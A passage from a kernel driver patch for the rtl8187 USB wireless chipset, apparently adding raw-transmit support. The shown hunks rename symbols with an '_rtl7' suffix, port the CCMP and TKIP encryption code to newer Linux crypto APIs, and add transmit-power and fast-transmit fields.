*dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2688,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2705,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2718,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2733,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_rawtx/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187.h 2007-06-21 23:44:38.000000000 +0200 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,17 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + short fasttx; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +167,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +180,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +234,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,22 +248,23 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); +short rtl8180_tx_fast(struct net_device *dev,u32* skbuf, int len, short rate); u8 read_nic_byte(struct net_device *dev, int x); u8 read_nic_byte_E(struct net_device *dev, int x); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.c 2007-06-08 23:30:47.000000000 +0200 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2007-06-08 23:30:47.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_orig/ieee80211/ieee80211_crypt.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt.h 2007-06-08 23:30:44.000000000 +0200 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_tkip.c 2007-06-08 23:30:47.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct crypto_tfm *tfm_michael; +#else + struct crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if (_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,19 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +412,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +424,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +472,26 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) 